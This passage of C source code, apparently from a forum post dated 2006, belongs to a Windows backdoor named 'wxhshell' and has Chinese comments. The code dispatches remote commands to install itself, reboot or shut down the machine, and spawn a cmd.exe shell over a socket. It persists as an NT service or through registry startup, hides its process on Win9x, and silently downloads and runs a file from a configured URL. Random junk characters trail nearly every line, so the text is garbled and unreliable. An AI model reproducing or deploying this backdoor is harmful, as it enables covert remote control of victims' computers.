  else { b2e  a0  
=.hDf<U  
    switch(cmd[0]) { 1}E@lOc  
  |q2lTbJ  
  // 帮助 {UBQ?7.jE  
  case '?': { Bedjw =B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]P$DAi   
    break; B?y t%f1  
  } :(`>bY  
  // 安装 CJixK>Y^  
  case 'i': { Ne7{{1  
    if(Install()) ;x^,t@ xge  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\5k' ifh  
    else b H_pNx81  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c$kb0VR  
    break; ON0+:`3\  
    } Td1ba^J  
  // 卸载 *v ^"4  
  case 'r': { Sp,Q,Q4  
    if(Uninstall()) %i>e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(K{*7|h  
    else b6vYM_ Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -0 da"AB  
    break; oB R(7U ~0  
    } .p(l+  
  // 显示 wxhshell 所在路径 \_AEuz3 F  
  case 'p': { &AcFa<U  
    char svExeFile[MAX_PATH]; #L:P R>  
    strcpy(svExeFile,"\n\r"); }@%ahRGx%9  
      strcat(svExeFile,ExeFile); BQ&q<6Tk  
        send(wsh,svExeFile,strlen(svExeFile),0); V )k, 9=  
    break; y32++b!  
    } MW~B[%/  
  // 重启 y!N)@y4  
  case 'b': { ai jGz<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LIC~Kehi  
    if(Boot(REBOOT)) l\;mP.!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UX`DZb +^  
    else { @1?]$?u&  
    closesocket(wsh); [Cqqjv;_  
    ExitThread(0); Z/= %J3f  
    } LDEW00zL  
    break; G+ v, Hi1  
    } Rgfhs[Z  
  // 关机 |;9 A{#zM  
  case 'd': { !u { "] T:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *;e@t4  
    if(Boot(SHUTDOWN)) ;c- ]bhBB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7&l6~sMQ  
    else { 5f'g 3'  
    closesocket(wsh); Va Yu%  
    ExitThread(0); &^n> ZY,  
    } NTXL>Q*e  
    break; nH>V Da  
    } $l,Zd6<1q  
  // 获取shell CQzjCRS d  
  case 's': { #;LMtDaL  
    CmdShell(wsh); qD;v/,?  
    closesocket(wsh); k5t^s  
    ExitThread(0); )s<WG}  
    break; Yuo1'gE+  
  } ?QSx8d  
  // 退出 BU:Ecchbr  
  case 'x': { n R\n\   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sci4EGc  
    CloseIt(wsh); Wx?&igh  
    break; I\rZk9F  
    } ::OFW@dS  
  // 离开 *V6QB e  
  case 'q': { Sm$j:xw <  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AuDR |;i  
    closesocket(wsh); >=~Fo)V!(V  
    WSACleanup(); mKq<'t]^k  
    exit(1); dxn0HXU  
    break; )'!ml  
        } kV\-%:-  
  } Ue3B+k9w  
  } ?S@R~y0K  
}-{b$6]  
  // 提示信息 ;4kx>x*H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); te;Ox!B&  
} )y`TymM[F  
  } 1rv$?=Z  
,.oa,sku  
  return; a#Kmj 0  
} S@c\|  
WHgV_o 8  
// shell模块句柄 n4WSV  
int CmdShell(SOCKET sock) YO(:32S  
{ G&@-R{i  
STARTUPINFO si; *"ykTqa  
ZeroMemory(&si,sizeof(si)); L8:]`M Q0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]D{c4)\7C|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bn1L?>G  
PROCESS_INFORMATION ProcessInfo; r}R^<y@I  
char cmdline[]="cmd"; dqD;y#/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E#<7\ p>  
  return 0; EvqUNnjR  
} 18.Y/nZAgQ  
gp$EXJ=  
// 自身启动模式 W1?!iE~tO  
int StartFromService(void) 3q#"i&  
{ z[qdmx^  
typedef struct Mr=}B6`  
{ rT flk  
  DWORD ExitStatus; 6; 5)/q  
  DWORD PebBaseAddress; L2CW'Hd  
  DWORD AffinityMask; p;qRm} 0}  
  DWORD BasePriority; gH i~nEH  
  ULONG UniqueProcessId; m3xz=9Ve  
  ULONG InheritedFromUniqueProcessId; ^V<J69ny|9  
}   PROCESS_BASIC_INFORMATION; 6%ZHP?  
H_?;h-Y]  
PROCNTQSIP NtQueryInformationProcess; 1UW s_|X!  
uX<+hG.n}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h4Xc Kv+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WYwzo V-  
_x\-!&[p  
  HANDLE             hProcess; +R "AA_A?  
  PROCESS_BASIC_INFORMATION pbi; *CeQY M  
S}.\v<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v#<\:|XAg  
  if(NULL == hInst ) return 0; M'cJ)-G  
uX[O,l^}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e1%rVQ(v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g|ql 5jW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FNz84qVIx'  
YO@hE>  
  if (!NtQueryInformationProcess) return 0; n 5~=qQK2  
CgVh\4,a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <\, & :<  
  if(!hProcess) return 0; *nYB o\@g  
K4j@j}zK9I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +jq 2pFQ  
:v#k&Uh3y  
  CloseHandle(hProcess); W *YW6  
I:F'S#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cy1\u2x_`  
if(hProcess==NULL) return 0; A#Xj]^-*  
4id3P{aU  
HMODULE hMod; IIq"e~"Vs  
char procName[255]; ')C|`(hs   
unsigned long cbNeeded; ,3:QB_  
4-y6MH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `aO.=:O_  
>65 TkAp  
  CloseHandle(hProcess); X$BXT  
`Uz s+k-]  
if(strstr(procName,"services")) return 1; // 以服务启动 X,>(Y8  
U:qF/%w  
  return 0; // 注册表启动 ?N4A9W9  
} ]ddHA  
 LsQs:O  
// 主模块 UUl*f!& o  
int StartWxhshell(LPSTR lpCmdLine) jEZ "  
{ M} O[`Fx{W  
  SOCKET wsl; s,84*6u  
BOOL val=TRUE; ewo*7j4*  
  int port=0; De;,=BSp  
  struct sockaddr_in door;  "\`>2  
NtHbwU,  
  if(wscfg.ws_autoins) Install(); kfVZ=`p}  
0;vtdM[_  
port=atoi(lpCmdLine); )nhfkW=e  
6yN" l Q7  
if(port<=0) port=wscfg.ws_port; %h0D)6 j  
Am#m>^!qb  
  WSADATA data; BpH|/7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e:qo_eSC^-  
0HjJaML  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Gf{z%/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SLSF <$  
  door.sin_family = AF_INET; GL/  KB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /a%*u6z@  
  door.sin_port = htons(port); 9QX4R<"wUg  
l#Yx TY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7k>zuzRyF  
closesocket(wsl); Q5g,7ac8L  
return 1; bpGzTU  
} HP;|'b  
%=BtOM_2  
  if(listen(wsl,2) == INVALID_SOCKET) { . /Y&\<  
closesocket(wsl); m+H%g"Zj  
return 1; :#Ty^-"]1  
} _~PO  
  Wxhshell(wsl); s){Q&E~X  
  WSACleanup(); 7O:"~L  
p[u4,  
return 0; C+`xx('N9  
.XIr?>G  
} EVG"._I@  
` %uK0qw"  
// 以NT服务方式启动 S:#e8H_7m]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Im6U_JsNZh  
{ `\wUkmH  
DWORD   status = 0; B n{)|&;  
  DWORD   specificError = 0xfffffff; $iwIF7,\P  
^dh=M5xz)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ):S!Nl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2pz4rc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $1~c_<DN  
  serviceStatus.dwWin32ExitCode     = 0; uw_H:-J  
  serviceStatus.dwServiceSpecificExitCode = 0; =w6}\ 'X  
  serviceStatus.dwCheckPoint       = 0; L/)B}8m\  
  serviceStatus.dwWaitHint       = 0; vuZf#\zh}  
A9t8`|1"%H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~*,Wj?~+7  
  if (hServiceStatusHandle==0) return; <E SvvTf  
U3/8A:$y  
status = GetLastError(); 0F1u W>D1  
  if (status!=NO_ERROR) 0#<WOns1   
{ uNy!< u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n_J5zQJ  
    serviceStatus.dwCheckPoint       = 0; Jns/v6  
    serviceStatus.dwWaitHint       = 0; ]Ym=+lgi  
    serviceStatus.dwWin32ExitCode     = status; %0lf  
    serviceStatus.dwServiceSpecificExitCode = specificError; VxkEez'|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |e:rYLxm:  
    return; ly[lrD0Kn.  
  } a/ b92*&k  
kB V/rw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &; s<dDQK  
  serviceStatus.dwCheckPoint       = 0; SAy{YOLtl  
  serviceStatus.dwWaitHint       = 0; s0 47"Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LaclC]yLU  
} }Fm\+JOS   
?&6Q%IUW1  
// 处理NT服务事件,比如:启动、停止 J]dW1boT@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~?CS_B *  
{ * .o"ZVl  
switch(fdwControl) 3+%nn+m  
{ z<i,D08|d  
case SERVICE_CONTROL_STOP: ;7L;  
  serviceStatus.dwWin32ExitCode = 0; 3 &Sp@,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k1 RV'  
  serviceStatus.dwCheckPoint   = 0; /eb-'m  
  serviceStatus.dwWaitHint     = 0; u (AA`S"  
  { ^iuo^2+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&-vq,c  
  } i+I0k~wY  
  return; /~tP7<7A  
case SERVICE_CONTROL_PAUSE: :s]\k%"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; **n y!  
  break; )%t7\1)B3  
case SERVICE_CONTROL_CONTINUE: ]=|P<F   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [8TS"ph>  
  break; :mP9^Do2;  
case SERVICE_CONTROL_INTERROGATE: <n\i>A3`,S  
  break; qEZ!2R^`G  
}; 1LX)4TCC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~XKZXGw  
} :Pf>Z? /d  
WI{; #A  
// 标准应用程序主函数 :xtT)w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f]]f85  
{ L0xsazX:x  
9OfU7_m  
// 获取操作系统版本 9>;} /*:H  
OsIsNt=GetOsVer(); ZL,8,;]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [1U{ci&=p  
"O``7HA}  
  // 从命令行安装 v1h.pbz`w  
  if(strpbrk(lpCmdLine,"iI")) Install(); DL1 +c`d  
l|7O)  
  // 下载执行文件 w{r8kH  
if(wscfg.ws_downexe) { Cg^:jd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;t!9]1  
  WinExec(wscfg.ws_filenam,SW_HIDE); >8(jW  
} 'B,KFA<  
{"t5\U6cKM  
if(!OsIsNt) { \ FXp*FbQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 #"<?_fao~  
HideProc(); J 3B`Krh  
StartWxhshell(lpCmdLine); Hnd+l)ng  
} 7gr^z)${J  
else GL`tOD:P"  
  if(StartFromService()) 0#^Bf[Dn  
  // 以服务方式启动 ,\x$q'  
  StartServiceCtrlDispatcher(DispatchTable); tpZ->)1  
else Wj tft%  
  // 普通方式启动 4kh8W~i;/  
  StartWxhshell(lpCmdLine); =+\$e1Mb*  
O+b6lg)q  
return 0; AOAO8%|I  
}
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只看该作者 1 发表于: 2006-10-10
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